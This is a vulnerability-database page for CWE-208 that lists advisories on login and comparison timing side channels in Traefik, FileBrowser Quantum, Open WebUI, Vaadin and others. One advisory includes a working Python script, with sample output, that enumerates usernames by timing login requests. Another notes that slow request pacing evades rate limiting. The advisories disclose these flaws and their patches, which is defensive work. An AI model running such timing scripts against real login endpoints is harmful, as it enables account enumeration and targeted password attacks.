CWE-208
AllowedObservable Timing Discrepancy
Abstraction: Base · Status: Incomplete
Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.
367 vulnerabilities reference this CWE, most recent first.
GHSA-6X2Q-H3CR-8J2H
Vulnerability from github – Published: 2026-04-24 20:36 – Updated: 2026-05-06 21:24Summary
There is a timing side-channel vulnerability in Traefik's BasicAuth middleware that allows an attacker to enumerate valid usernames through response-time differences.
The variable intended to hold a constant-time fallback secret always resolves to an empty string, causing the constant-time comparison to short-circuit in microseconds rather than performing a full bcrypt evaluation. This restores the original timing oracle and makes it possible to distinguish existing users from non-existing ones by measuring authentication response times.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.43
- https://github.com/traefik/traefik/releases/tag/v3.6.14
- https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2
For more information
If there are any questions or comments about this advisory, please open an issue.
Original Description # BasicAuth Timing Regression: CVE-2026-32595 Fix Is a No-Op Due to Map Key/Value Confusion ## TL;DR The patch for CVE-2026-32595 is a no-op. Line 49 of `basic_auth.go` has a map key/value confusion that makes `notFoundSecret` always `""`. The "constant time" fallback calls `goauth.CheckSecret(password, "")`, which fast-fails in ~1us instead of running bcrypt (~60ms). ## Evidence (HEAD `786f7192e`, 2026-04-09) Black-box PoC against live traefik binary on port 28080: | bucket | n | median | min | |------------------------------|-----|----------|----------| | existing user (wrong pw) | 240 | 62.85 ms | 57.54 ms | | nonexistent user (wrong pw) | 400 | 0.48 ms | 0.35 ms | Median ratio: **130.4x**. Classification: **8/8 correct**. Go in-tree test: `goauth.CheckSecret` direct ratio **12,746x**. ## Root cause (4-step trace) 1. `basic_auth.go:49`: `users[slices.Collect(maps.Values(users))[0]]` -- looks up a hash as a username key, returns `""`. 2. `basic_auth.go:119-120`: calls `goauth.CheckSecret(password, "")`. 3. `go-http-auth/basic.go:87`: empty string matches no prefix, falls to default `compareMD5HashAndPassword`. 4. `basic.go:107-109`: `bytes.SplitN("", "$", 4)` returns length 1, function returns instantly. ## Files - `poc/exploit.py` -- black-box Python timing oracle - `poc/basic_auth_timing_regression_test.go` -- Go in-tree test - `poc/traefik.yml` + `poc/dynamic.yml` -- traefik config - `poc/live_http_poc_output_head.txt` -- verbatim PoC output on HEAD Koda Reef{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0-ea.1"
},
{
"fixed": "3.7.0-rc.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0-beta1"
},
{
"fixed": "3.6.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.43"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.7.34"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41263"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-24T20:36:41Z",
"nvd_published_at": "2026-04-30T21:16:33Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThere is a timing side-channel vulnerability in Traefik\u0027s BasicAuth middleware that allows an attacker to enumerate valid usernames through response-time differences.\n\nThe variable intended to hold a constant-time fallback secret always resolves to an empty string, causing the constant-time comparison to short-circuit in microseconds rather than performing a full bcrypt evaluation. This restores the original timing oracle and makes it possible to distinguish existing users from non-existing ones by measuring authentication response times.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.43\n- https://github.com/traefik/traefik/releases/tag/v3.6.14\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# BasicAuth Timing Regression: CVE-2026-32595 Fix Is a No-Op Due to Map Key/Value Confusion\n\n## TL;DR\n\nThe patch for CVE-2026-32595 is a no-op. Line 49 of `basic_auth.go` has a\nmap key/value confusion that makes `notFoundSecret` always `\"\"`. The\n\"constant time\" fallback calls `goauth.CheckSecret(password, \"\")`, which\nfast-fails in ~1us instead of running bcrypt (~60ms).\n\n## Evidence (HEAD `786f7192e`, 2026-04-09)\n\nBlack-box PoC against live traefik binary on port 28080:\n\n| bucket | n | median | min |\n|------------------------------|-----|----------|----------|\n| existing user (wrong pw) | 240 | 62.85 ms | 57.54 ms |\n| nonexistent user (wrong pw) | 400 | 0.48 ms | 0.35 ms |\n\nMedian ratio: **130.4x**. Classification: **8/8 correct**.\n\nGo in-tree test: `goauth.CheckSecret` direct ratio **12,746x**.\n\n## Root cause (4-step trace)\n\n1. `basic_auth.go:49`: `users[slices.Collect(maps.Values(users))[0]]` -- looks\n up a hash as a username key, returns `\"\"`.\n2. `basic_auth.go:119-120`: calls `goauth.CheckSecret(password, \"\")`.\n3. `go-http-auth/basic.go:87`: empty string matches no prefix, falls to default\n `compareMD5HashAndPassword`.\n4. `basic.go:107-109`: `bytes.SplitN(\"\", \"$\", 4)` returns length 1, function\n returns instantly.\n\n## Files\n\n- `poc/exploit.py` -- black-box Python timing oracle\n- `poc/basic_auth_timing_regression_test.go` -- Go in-tree test\n- `poc/traefik.yml` + `poc/dynamic.yml` -- traefik config\n- `poc/live_http_poc_output_head.txt` -- verbatim PoC output on HEAD\n\n\nKoda Reef\n\n\u003c/details\u003e\n\n---",
"id": "GHSA-6x2q-h3cr-8j2h",
"modified": "2026-05-06T21:24:51Z",
"published": "2026-04-24T20:36:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-6x2q-h3cr-8j2h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41263"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.43"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.6.14"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Traefik: A timing side-channel vulnerability allows for valid username enumeration via BasicAuth middleware"
}
GHSA-6XWW-RMPP-RHM3
Vulnerability from github – Published: 2024-03-12 12:30 – Updated: 2024-08-05 21:31The authentication method in Apache Doris versions before 2.0.0 was vulnerable to timing attacks. Users are recommended to upgrade to version 2.0.0 + or 1.2.8, which fixes this issue.
{
"affected": [],
"aliases": [
"CVE-2023-41313"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-12T11:15:46Z",
"severity": "CRITICAL"
},
"details": "The authentication method in Apache Doris versions before 2.0.0 was vulnerable to timing attacks.\nUsers are recommended to upgrade to version 2.0.0 + or 1.2.8, which fixes this issue.\n\n",
"id": "GHSA-6xww-rmpp-rhm3",
"modified": "2024-08-05T21:31:18Z",
"published": "2024-03-12T12:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41313"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/jqczy3vxzs6q6rz9o0626j5nks9fnv95"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/03/10/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-72PX-4JM6-9942
Vulnerability from github – Published: 2025-02-12 00:32 – Updated: 2025-02-13 00:33An issue was discovered in the Winbox service of MikroTik RouterOS v6.43 through v7.16.1. A discrepancy in response times between connection attempts made with a valid username and those with an invalid username allows attackers to enumerate for valid accounts.
{
"affected": [],
"aliases": [
"CVE-2024-54772"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-11T23:15:09Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in the Winbox service of MikroTik RouterOS v6.43 through v7.16.1. A discrepancy in response times between connection attempts made with a valid username and those with an invalid username allows attackers to enumerate for valid accounts.",
"id": "GHSA-72px-4jm6-9942",
"modified": "2025-02-13T00:33:03Z",
"published": "2025-02-12T00:32:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54772"
},
{
"type": "WEB",
"url": "https://github.com/deauther890/CVE-2024-54772"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-73WM-47MQ-62R5
Vulnerability from github – Published: 2026-08-06 15:32 – Updated: 2026-08-07 00:31APR-util versions 1.6.3 (and earlier) function apr_password_validate() was not constant-time with regards to hashes or passwords comparisons, potentially leaking their content via a side channel timing attack particularly on platforms without crypt() such as Windows, BeOS, NetWare, or Android.
Users are recommended to upgrade to version 1.6.4, which fixes this issue.
{
"affected": [],
"aliases": [
"CVE-2025-49506"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-06T15:16:41Z",
"severity": "HIGH"
},
"details": "APR-util versions 1.6.3 (and earlier) function apr_password_validate() was not constant-time with regards to hashes or passwords comparisons, potentially leaking their content via a side channel timing attack particularly on platforms without crypt() such as\u00a0\u00a0Windows, BeOS, NetWare, or Android.\n\nUsers are recommended to upgrade to version 1.6.4, which fixes this issue.",
"id": "GHSA-73wm-47mq-62r5",
"modified": "2026-08-07T00:31:10Z",
"published": "2026-08-06T15:32:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49506"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/2v8o3bj9pb7lfcr57bdnjg9xfkj04mg5"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/08/06/8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-75XC-QVXH-27F8
Vulnerability from github – Published: 2021-04-19 14:51 – Updated: 2021-04-16 23:15Non-constant-time comparison of CSRF tokens in UIDL request handler in com.vaadin:vaadin-server versions 7.0.0 through 7.7.23 (Vaadin 7.0.0 through 7.7.23), and 8.0.0 through 8.12.2 (Vaadin 8.0.0 through 8.12.2) allows attacker to guess a security token via timing attack
- https://vaadin.com/security/cve-2021-31403
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.vaadin:vaadin-bom"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.7.24"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.vaadin:vaadin-bom"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.12.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.vaadin:vaadin-server"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.7.24"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.vaadin:vaadin-server"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.12.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-31403"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-16T23:15:02Z",
"nvd_published_at": "2021-04-23T16:15:00Z",
"severity": "MODERATE"
},
"details": "Non-constant-time comparison of CSRF tokens in UIDL request handler in `com.vaadin:vaadin-server` versions 7.0.0 through 7.7.23 (Vaadin 7.0.0 through 7.7.23), and 8.0.0 through 8.12.2 (Vaadin 8.0.0 through 8.12.2) allows attacker to guess a security token via timing attack\n\n- https://vaadin.com/security/cve-2021-31403",
"id": "GHSA-75xc-qvxh-27f8",
"modified": "2021-04-16T23:15:02Z",
"published": "2021-04-19T14:51:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vaadin/framework/security/advisories/GHSA-75xc-qvxh-27f8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31403"
},
{
"type": "WEB",
"url": "https://github.com/vaadin/framework/pull/12188"
},
{
"type": "WEB",
"url": "https://github.com/vaadin/framework/pull/12190"
},
{
"type": "WEB",
"url": "https://vaadin.com/security/cve-2021-31403"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Timing side channel vulnerability in UIDL request handler in Vaadin 7 and 8"
}
GHSA-7789-65HX-F26W
Vulnerability from github – Published: 2026-03-24 19:18 – Updated: 2026-07-08 17:35Summary
The /api/auth/login authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a 401/403 response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time.
Details
The vulnerability exists in the Auth function of JSONAuth in auth/json.go (lines 45–52). The function performs a database lookup for the user prior to performing any password validation.
user, err := userStore.Get(username)
if err != nil {
return nil, fmt.Errorf("unable to get user from store: %v", err)
}
err = users.CheckPwd(password, user.Password)
if err != nil {
return nil, err
}
If the username is not found, the function returns an error immediately. If the username is found, the function calls CheckPwd, which executes the bcrypt hash comparison. Because bcrypt is intentionally computationally expensive, this introduces a measurable delay in the response time.
As a result, an attacker can distinguish valid usernames from invalid ones by measuring the authentication response times.
In testing, responses for valid usernames consistently required approximately 40–50 ms due to the bcrypt comparison, while invalid usernames returned in approximately 1–4 ms.
PoC
The script below automates this attack by calibrating the network latency using non-existent usernames to establish a baseline and then testing a list of target users. Valid usernames are detected when the response time exceeds the baseline.
import requests
import time
import statistics
# Configuration - adjust domain and wordlist as appropriate
TARGET_URL = "http://localhost/api/auth/login"
WORDLIST = ["admin", "root", "user2", "nonexistent_test_user"]
def measure(username):
start = time.perf_counter()
requests.post(TARGET_URL, params={"username": username}, headers={"X-Password": "wrong-password"})
return time.perf_counter() - start
# 1. Baseline Calibration
print("[*] Calibrating...")
baselines = [measure(f"not_a_user_{i}") for i in range(20)]
threshold = statistics.mean(baselines) + (statistics.stdev(baselines) * 5)
print(f"[*] Baseline: {statistics.mean(baselines):.4f}s | Threshold: {threshold:.4f}s")
# 2. Validation Test
for user in WORDLIST:
t = measure(user)
status = "VALID" if t > threshold else "invalid"
print(f"{user:<15} | {t:.4f}s | {status}")
Example output (with admin and user2 configured as valid users in the application):
$ python timeattack.py
[*] Calibrating...
[*] Baseline: 0.0041s | Threshold: 0.0256s
admin | 0.0505s | VALID
root | 0.0019s | invalid
user2 | 0.0464s | VALID
nonexistent_test_user | 0.0015s | invalid
Impact
An unauthenticated attacker can enumerate valid usernames by measuring authentication response times.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/gtsteffaniak/filebrowser/backend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260317230626-af08800667b8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54685"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-24T19:18:56Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `/api/auth/login` authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a `401`/`403` response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time.\n\n### Details\n\nThe vulnerability exists in the `Auth` function of `JSONAuth` in `auth/json.go` (lines 45\u201352). The function performs a database lookup for the user prior to performing any password validation.\n\n```go\nuser, err := userStore.Get(username)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to get user from store: %v\", err)\n\t}\n\terr = users.CheckPwd(password, user.Password)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n```\n\nIf the username is not found, the function returns an error immediately. If the username is found, the function calls `CheckPwd`, which executes the bcrypt hash comparison. Because bcrypt is intentionally computationally expensive, this introduces a measurable delay in the response time.\n\nAs a result, an attacker can distinguish valid usernames from invalid ones by measuring the authentication response times.\n\nIn testing, responses for valid usernames consistently required approximately 40\u201350 ms due to the bcrypt comparison, while invalid usernames returned in approximately 1\u20134 ms.\n\n### PoC\n\nThe script below automates this attack by calibrating the network latency using non-existent usernames to establish a baseline and then testing a list of target users. Valid usernames are detected when the response time exceeds the baseline.\n\n```python\nimport requests\nimport time\nimport statistics\n\n# Configuration - adjust domain and wordlist as appropriate\nTARGET_URL = \"http://localhost/api/auth/login\"\nWORDLIST = [\"admin\", \"root\", \"user2\", \"nonexistent_test_user\"]\n\ndef measure(username):\n start = time.perf_counter()\n requests.post(TARGET_URL, params={\"username\": username}, headers={\"X-Password\": \"wrong-password\"})\n return time.perf_counter() - start\n\n# 1. Baseline Calibration\nprint(\"[*] Calibrating...\")\nbaselines = [measure(f\"not_a_user_{i}\") for i in range(20)]\nthreshold = statistics.mean(baselines) + (statistics.stdev(baselines) * 5)\nprint(f\"[*] Baseline: {statistics.mean(baselines):.4f}s | Threshold: {threshold:.4f}s\")\n\n# 2. Validation Test\nfor user in WORDLIST:\n t = measure(user)\n status = \"VALID\" if t \u003e threshold else \"invalid\"\n print(f\"{user:\u003c15} | {t:.4f}s | {status}\")\n```\n\nExample output (with `admin` and `user2` configured as valid users in the application):\n\n```\n$ python timeattack.py\n[*] Calibrating...\n[*] Baseline: 0.0041s | Threshold: 0.0256s\nadmin | 0.0505s | VALID\nroot | 0.0019s | invalid\nuser2 | 0.0464s | VALID\nnonexistent_test_user | 0.0015s | invalid\n```\n\n### Impact\n\nAn unauthenticated attacker can enumerate valid usernames by measuring authentication response times.",
"id": "GHSA-7789-65hx-f26w",
"modified": "2026-07-08T17:35:48Z",
"published": "2026-03-24T19:18:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-7789-65hx-f26w"
},
{
"type": "WEB",
"url": "https://github.com/gtsteffaniak/filebrowser/commit/af08800667b874620edc6f44c3e2e64fec7abd85"
},
{
"type": "PACKAGE",
"url": "https://github.com/gtsteffaniak/filebrowser"
},
{
"type": "WEB",
"url": "https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.3.2-beta"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "FileBrowser Quantum has Username Enumeration via Authentication Timing Side-Channel"
}
GHSA-7P89-P6HX-Q4FW
Vulnerability from github – Published: 2024-09-30 17:48 – Updated: 2024-09-30 20:11Impact
basic-auth-connect <1.1.0 uses a timing-unsafe equality comparison that can leak timing information
Patches
this issue has been fixed in basic-auth-connect 1.1.0
References
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "basic-auth-connect"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-47178"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-30T17:48:29Z",
"nvd_published_at": "2024-09-30T16:15:09Z",
"severity": "HIGH"
},
"details": "### Impact\n\nbasic-auth-connect \u003c1.1.0 uses a timing-unsafe equality comparison that can leak timing information\n\n### Patches\n\nthis issue has been fixed in basic-auth-connect 1.1.0\n\n### References\n",
"id": "GHSA-7p89-p6hx-q4fw",
"modified": "2024-09-30T20:11:40Z",
"published": "2024-09-30T17:48:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/expressjs/basic-auth-connect/security/advisories/GHSA-7p89-p6hx-q4fw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47178"
},
{
"type": "WEB",
"url": "https://github.com/expressjs/basic-auth-connect/commit/bac1e6a8530e1efd0028800b9b588a37adb0d203"
},
{
"type": "PACKAGE",
"url": "https://github.com/expressjs/basic-auth-connect"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "basic-auth-connect\u0027s callback uses time unsafe string comparison"
}
GHSA-7Q92-Q5VC-5R4R
Vulnerability from github – Published: 2026-09-02 15:34 – Updated: 2026-09-02 21:32Observable Timing Discrepancy vulnerability in Drupal Commerce CyberSource allows Brute Force. This issue affects Commerce CyberSource versions: from 0.0.0 to 1.10.0.
{
"affected": [],
"aliases": [
"CVE-2026-81159"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-02T13:18:11Z",
"severity": "LOW"
},
"details": "Observable Timing Discrepancy vulnerability in Drupal Commerce CyberSource allows Brute Force. This issue affects Commerce CyberSource versions: from 0.0.0 to 1.10.0.",
"id": "GHSA-7q92-q5vc-5r4r",
"modified": "2026-09-02T21:32:02Z",
"published": "2026-09-02T15:34:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81159"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-contrib-2026-106"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7R92-3JGR-R65Q
Vulnerability from github – Published: 2026-05-06 22:40 – Updated: 2026-05-14 20:42Impact
The mul_mod function implements multiplication via a binary expansion loop whose execution time depends on the Hamming weight of the second operand (the exponent). An attacker who can measure the time of secret‑sharing operations (e.g., via a remote service) could progressively recover the values of shares, ultimately leading to secret reconstruction.
Patches
https://github.com/svvqt/pyquorum/releases/tag/v0.2.1
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyquorum"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44368"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T22:40:15Z",
"nvd_published_at": "2026-05-13T21:16:47Z",
"severity": "MODERATE"
},
"details": "### Impact\nThe `mul_mod` function implements multiplication via a binary expansion loop whose execution time depends on the Hamming weight of the second operand (the exponent). An attacker who can measure the time of secret\u2011sharing operations (e.g., via a remote service) could progressively recover the values of shares, ultimately leading to secret reconstruction.\n\n### Patches\nhttps://github.com/svvqt/pyquorum/releases/tag/v0.2.1",
"id": "GHSA-7r92-3jgr-r65q",
"modified": "2026-05-14T20:42:45Z",
"published": "2026-05-06T22:40:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/svvqt/pyquorum/security/advisories/GHSA-7r92-3jgr-r65q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44368"
},
{
"type": "WEB",
"url": "https://github.com/svvqt/pyquorum/commit/1e9ac41dd3c305c13d7a6b7d227bf325be82d730"
},
{
"type": "PACKAGE",
"url": "https://github.com/svvqt/pyquorum"
},
{
"type": "WEB",
"url": "https://github.com/svvqt/pyquorum/releases/tag/v0.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "pyquorum: Timing side\u2011channel in mul_mod"
}
GHSA-7RW5-9F7Q-XJ36
Vulnerability from github – Published: 2026-07-24 16:55 – Updated: 2026-07-24 16:55Summary
The /api/v1/auths/signin endpoint leaked whether an email address belonged to a registered account through a response-time side channel. Password verification ran bcrypt only when the email was found in the database; for a non-existent email the request returned early without hashing. The expensive bcrypt comparison therefore made valid-account attempts respond significantly slower (~180 ms) than non-existent ones (~5 ms), so an unauthenticated attacker could enumerate valid accounts by measuring response time.
Details
On signin the backend looked the user up by email and only performed the bcrypt password comparison if a record existed. A missing email short-circuited before any hashing, producing the timing gap. The built-in brute-force throttling did not prevent it: sending one request at a time with a small delay between requests stays under the rate limit while still exposing the difference.
Observed in the reporter's run (HTTP 400 for every attempt, the response time is the signal):
Email Status Response time
joe@example.com 400 186 ms <- valid account
larry@example.com 400 9 ms
jose@example.com 400 6 ms
james@example.com 400 5 ms
Impact
An unauthenticated attacker can enumerate which email addresses are registered accounts, which enables targeted password-spraying against confirmed accounts. The impact is amplified by MFA not being enabled by default. No data is read or modified; the disclosure is limited to account existence.
Patched
The authentication path now runs a bcrypt verification against a constant placeholder hash whenever the email does not resolve to an active credential, so a real hash comparison executes on every attempt and the response time is the same whether or not the account exists. Fixed in 0.10.0.
Credits
@dievus
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59218"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T16:55:06Z",
"nvd_published_at": "2026-07-09T17:17:02Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `/api/v1/auths/signin` endpoint leaked whether an email address belonged to a registered account through a response-time side channel. Password verification ran bcrypt only when the email was found in the database; for a non-existent email the request returned early without hashing. The expensive bcrypt comparison therefore made valid-account attempts respond significantly slower (~180 ms) than non-existent ones (~5 ms), so an unauthenticated attacker could enumerate valid accounts by measuring response time.\n\n### Details\n\nOn signin the backend looked the user up by email and only performed the bcrypt password comparison if a record existed. A missing email short-circuited before any hashing, producing the timing gap. The built-in brute-force throttling did not prevent it: sending one request at a time with a small delay between requests stays under the rate limit while still exposing the difference.\n\nObserved in the reporter\u0027s run (HTTP 400 for every attempt, the response time is the signal):\n\n```\nEmail Status Response time\njoe@example.com 400 186 ms \u003c- valid account\nlarry@example.com 400 9 ms\njose@example.com 400 6 ms\njames@example.com 400 5 ms\n```\n\n### Impact\n\nAn unauthenticated attacker can enumerate which email addresses are registered accounts, which enables targeted password-spraying against confirmed accounts. The impact is amplified by MFA not being enabled by default. No data is read or modified; the disclosure is limited to account existence.\n\n### Patched\n\nThe authentication path now runs a bcrypt verification against a constant placeholder hash whenever the email does not resolve to an active credential, so a real hash comparison executes on every attempt and the response time is the same whether or not the account exists. Fixed in 0.10.0.\n\n### Credits\n\n@dievus",
"id": "GHSA-7rw5-9f7q-xj36",
"modified": "2026-07-24T16:55:06Z",
"published": "2026-07-24T16:55:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-7rw5-9f7q-xj36"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59218"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/pull/26385"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/commit/993e74912199c66c522f08ec81abe31d76985e39"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.10.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI: Account enumeration via observable login timing discrepancy"
}
No mitigation information available for this CWE.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-541: Application Fingerprinting
An adversary engages in fingerprinting activities to determine the type or version of an application installed on a remote target.
CAPEC-580: System Footprinting
An adversary engages in active probing and exploration activities to determine security information about a remote target system. Often times adversaries will rely on remote applications that can be probed for system configurations.